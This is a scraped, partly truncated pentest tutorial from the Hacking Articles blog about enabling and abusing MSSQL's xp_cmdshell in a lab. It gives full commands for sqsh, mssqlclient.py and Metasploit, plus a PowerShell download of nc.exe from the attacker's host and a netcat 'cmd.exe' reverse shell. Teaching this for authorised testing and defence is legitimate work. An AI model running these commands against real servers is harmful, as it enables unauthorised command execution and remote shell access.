Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog
MSSQL for Pentester: Command Execution with xp_cmdshell

This article is in collection with the other two articles that we wrote about MSSQL Server and its Penetration Testing. In this article, we will be discovering and exploiting the security aspects of the xp_cmdshell functionality. Table of Content<o:p· Introduction<o:po What is xp_cmdshell?<o:p

· Enabling xp_cmdshell<o:po Manually (GUI)<o:p

o sqsh<o:p

o mssqlclient.py<o:p

o Metasploit<o:p

· Exploiting xp_cmdshell: <o:po Metasploit<o:p

o Netcat<o:p

o Crackmapexec<o:p

o Nmap<o:p

o PowerUpSQL<o:p

· Conclusion<o:pIntroduction<o:pAll the demonstrations in this article will be presented on the MSSQL Server. To get the MS-SQL server set up, you can refer to our article: Penetration Testing Lab Setup: MS-SQL. We previously touched on the exploitation of the xp_cmdshell Functionality with the help of the Metasploit module: exploit/windows/mssql/mssql_payload in our article: MSSQL Penetration Testing with Metasploit. Although in that article we couldn’t explain the background of the xp_cmdshell functionality and its security aspect.<o:p What is xp_cmdshell?<o:pAccording to the Official Microsoft Documentations, xp_cmdshell is functionality that spawns a Windows command shell and passes in a string for execution. Any output that is generated by it is shown in the format of rows of text. To simplify, we can say that it allows the database administrators to access and execute any external process directly from the SQL Server. The implementation of the xp_cmdshell can be traced back to SQL Server 6.5. It was designed so that the developers can use the SQL queries with the system command to automate various tasks that would require additional programming and working. Now that we have some knowledge about the xp_cmdshell, we can see how it can be enabled on an SQL server.<o:p Enabling xp_cmdshell: Manually (GUI)<o:pThe functionality of xp_cmdshell is disabled by default. To use it we need to enable it. It requires a higher privilege to enable on an SQL server. In the demonstration below, we are using the credentials of the SA user to log in on the SQL Server. <o:p https://1.bp.blogspot.com/-jZmEwGQj7NY/YR_oHES71XI/AAAAAAAAyOM/nL-DR9z8Pm4W0H2Le_pi3jMgK6f4cErUACLcBGAsYHQ/s16000/1.png Now that we have the SQL instance running as Administrator, we need to access the Object Explorer section. Here, we have the SQL Server Instance, we right-click on the instance to find a drop-down menu. We need to choose the “Facets” option from this menu as demonstrated below. <o:p https://1.bp.blogspot.com/-jp6EO8S8Ptg/YR_oOiAwMjI/AAAAAAAAyOQ/6o7rwysTcZA3JDVVOCUo6lAP6fTGwi-nwCLcBGAsYHQ/s16000/2.png Clicking on the Facets option will open a new window. It will have a field with the various types of facets available. We need to choose the Surface Area Configuration facets from the drop-down menu as shown in the image below.<o:p https://1.bp.blogspot.com/-WTi7O9cEQE4/YR_oS7Cz5UI/AAAAAAAAyOU/TW97GiaeRY0SZC9RNFBAcKywAXgWuxcowCLcBGAsYHQ/s16000/3.png After choosing the surface area configuration facet. We can see that we have the XPCmdShellEnabled option set as false.<o:p https://1.bp.blogspot.com/-5c_Rmigopgw/YR_oWlNppRI/AAAAAAAAyOc/B2-atvcJppsaj3Gec8yP00U2kBoxNfzBQCLcBGAsYHQ/s16000/4.png Clicking on the XP command shell option, we change its value from false to true as shown in the figure below. This was the demonstration of how to enable XP command shell using the graphical user interface on a Windows MSSQL Server.<o:p https://1.bp.blogspot.com/-jKZoS1vbwjU/YR_oa0uBz6I/AAAAAAAAyOg/KpLCEWf3WCg6YkvvsVf-6eYVhB_XeJCVgCLcBGAsYHQ/s16000/5.png Enabling xp_cmdshell: sqsh<o:pNext, w[...]

9 views18:07

Hacking Articles|Raj Chandel's Blog MSSQL for Pentester: Command Execution with xp_cmdshell This article is in collection with the other two articles that we wrote about MSSQL Server and its Penetration Testing. In this article, we will be discovering and…

e will be using the SQ SH tool on our Kali machine. To check for if the. XP command shell option has been enabled on the target machine or not. The syntax for using this tool is quite simple, first sqsh with the -S and the Target IP address followed by -C with the user name of the server admin and -P with the password for that particular user as shown in the image below.<o:p sqsh -S 192.168.1.146 -U sa -P "Password@1"<o:pxp_cmdshell 'whoami';<o:pgo<o:phttps://1.bp.blogspot.com/--eaH4DMkm3E/YR_og4hKpGI/AAAAAAAAyOk/2hRG26Zfde4nBTSyb6s8zQ1Y5KGDNZuEwCLcBGAsYHQ/s16000/10.png As we could observe from the image that the SQL Server had blocked access to the procedure command shell. So we will work on enabling it now. To enable the XP command shell on the target machine using SQSH we will be running a series of commands that would firstly show the advanced options that are available within the SP configuration option. Then we will choose to execute the XP command shell option and activate it, and finally, we will run the reconfigure command that will enable the XP commercial option on the target machine as shown in the image given below.<o:p EXEC sp_configure 'show advanced options', 1;<o:pEXEC sp_configure 'xp_cmdshell', 1;<o:pRECONFIGURE;<o:pgo<o:pxp_cmdshell 'whoami';<o:pgo<o:phttps://1.bp.blogspot.com/-ah3O7A7JVDg/YR_op5cM8PI/AAAAAAAAyOs/j3g35b4ZMC0leiIJ3GtzeR5BWD2GUz8SACLcBGAsYHQ/s16000/11.png This activity can be verified by checking in a similar way that we did with the GUI option as before.<o:p https://1.bp.blogspot.com/-52TZQevcisU/YR_ougJr_gI/AAAAAAAAyO0/LYZybnNHv9EHRm8502Z6s2WT6391b7RhwCLcBGAsYHQ/s16000/12.png Enabling xp_cmdshell: mssqlclient.py<o:pMoving on to the next tool that we can use with this kind of activity is the mssqlclient.py Python script that is part of the Impact toolkit. To use mssqlclient.py, we will need to specify the username, domain, password, the target IP address, and the Port that is hosting the Ms SQL service as shown in the image. We can see that first a connection is established then it is switched to the TLS negotiation Followed by the packet size that is changed from 4096 to 16192. Then we can see that the impact was able to get the SQL Express command shell, where it changes the database context to master and the language setting to US_English. Here we can get a banner that says that we can run the help command to get the extra shell commands. Then we can use the command enable_xp_cmdshell to enable the XP command shell functionality on the target machine.<o:p python3 mssqlclient.py WORKGROUP/sa:Password@1@192.168.1.146 -port 1433<o:penable_xp_cmdshell<o:phttps://1.bp.blogspot.com/-Y1dj1nlrdYY/YR_oy-XcnyI/AAAAAAAAyO8/RYrBZRhwmGIa2x78VX1qFj148_myFlofwCLcBGAsYHQ/s16000/13.png Again, we can verify it in a similar way that we did with the GUI approach and the sqsh approach. Here we can see that we were able to enable the XP command shell functionality with the help of mssqlclient which is a part of the Impact toolkit.<o:p https://1.bp.blogspot.com/-ry0CY6INxgU/YR_pGtrGXVI/AAAAAAAAyPQ/7V645vMDCSIuZMfKnc4-O6pNXpdVe3DCQCLcBGAsYHQ/s16000/14.png mssqlclient is not done. We can also use mssqlclient to enable XP command shell functionality on the target machine. If we have the user credentials with the appropriate permissions that can do so, we can just use the -windows-auth parameter that will tell the target machine to log in as the user and then enable the XP command shell functionality on the target machine as shown in the image below.<o:p https://1.bp.blogspot.com/-bOxgpXApafc/YR_uro2sLMI/AAAAAAAAyQ0/Z7z-69Bh6pwRUiHp5dG8S6y08ArwQgJrACLcBGAsYHQ/s16000/15.png python3 mssqlclient.py administrator:'ignite@987'@192.168.1.146 -windows-auth<o:penable_xp_cmdshell<o:phttps://1.bp.blogspot.com/-6VXI6F3fGeo/YR_pU5eDQkI/AAAAAAAAyPY/zBVodOY[...]

9 views18:07

Hacking Articles Tips Tricks Videos Tutorials

dYMIrVuaoR1TRe9lknSuHhHbVACLcBGAsYHQ/s16000/16.png Enabling xp_cmdshell: Metasploit<o:pMetasploit can also be helpful if we want to enable the XP command shell functionality. For this, we will have to use the exploit/windows/mssql/mssql_payload Exploit. This exploit requires a couple of options, such as setting the rhost which contains the IP address of the target machine, the password to access that particular machine. To approach the target machine and run particular commands on it, it first enables the XP command shell functionality on the target machine.<o:p use exploit/windows/mssql/mssql_payload<o:pset rhosts 192.168.1.146<o:pset password Password@1<o:pexploit<o:phttps://1.bp.blogspot.com/-mYMbcfn_VEk/YR_piH8xHFI/AAAAAAAAyPg/bs44rRpMr647TghZ3-axu8WD5kZ3r9VCgCLcBGAsYHQ/s16000/20.png The exploit does not stop at just enabling the XP command shell. It then runs a series of commands that can help to get us a meterpreter shell on the target machine as shown in the image below. <o:p https://1.bp.blogspot.com/-QfTfLnZCCX0/YR_pqonM_OI/AAAAAAAAyPo/QKi1frc7440WFLHOXg2eQdlaUOk9aR7CgCLcBGAsYHQ/s16000/21.png Exploiting xp_cmdshell: Metasploit<o:pIn case you don’t want to get the meterpreter on the target machine, instead just want to present a proof of concept for the vulnerability of the target machine, you can use another exploit which is. Auxiliary/admin/mssql/mssql_exec this particular exploit also requires few options such as rhost which contains the IP address of the target machine, the password for accessing the target machine, and cmd for setting the particular command that you want to run on the target machine. In the demonstration, we will just run the IP config command to show that we can run any system commands on the target machine with the help of this exploit.<o:p use auxiliary/admin/mssql/mssql_exec<o:pset rhosts 192.168.1.146<o:pset password Password@1<o:pset cmd “ipconfig”<o:pexploit<o:phttps://1.bp.blogspot.com/-y4TYgy-AyH4/YR_pv3uAFNI/AAAAAAAAyPs/R2pdKhHn9IgEf0FJfQ0ujb277YE0Qe_ngCLcBGAsYHQ/s16000/22.png Exploiting xp_cmdshell: Netcat<o:pAs we discussed earlier, the XP command shell can run system commands and access system resources on the target machine. We can use it to get a reverse connection on the target machine. To do so, we first need to transfer the netcat binary file to the Windows machine. For this, we will use the nc.exe executable. This file is located at /usr/share/windows-binaries. Then we can use the Python one-liner to create an HTTP service. <o:p cd /usr/share/windows-binaries<o:pls -al<o:ppython -m SImpleHTTPServer 80<o:phttps://1.bp.blogspot.com/-Z9LefqgpLJE/YR_p1nURgJI/AAAAAAAAyPw/I2lTxfxsB0k8rxscpFy04mSyGfw5RkoPwCLcBGAsYHQ/s16000/30.png Moving on to the XP command shell, we just use the powershell.exe cmdlet to invoke PowerShell and then use the wget command to access that particular file that we just hosted. Then we will transfer this particular file into the C:/Users/Public directory, which has the access to write. Then we will use the XP command shell to execute the netcat binary to run cmd.exe. To the creating a reverse connection to the host Kali Machine on Port 4444.<o:p xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"<o:pxp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"<o:phttps://1.bp.blogspot.com/-mWlHw8tp3Uo/YR_p6A4AIEI/AAAAAAAAyP0/pikp__CUTNk-7E228CeWATBqdo----EpQCLcBGAsYHQ/s16000/31.png We will, however, create a netcat listener on the Kali machine before running the previous command of generating a reverse connection. This listener well captured the shell as soon as the command is executed and, a session is generated. Here we can see that upon running the whoami command on the shell, we find that the shell that we have is for [...]

11 views18:07

About

Blog

Apps

Platform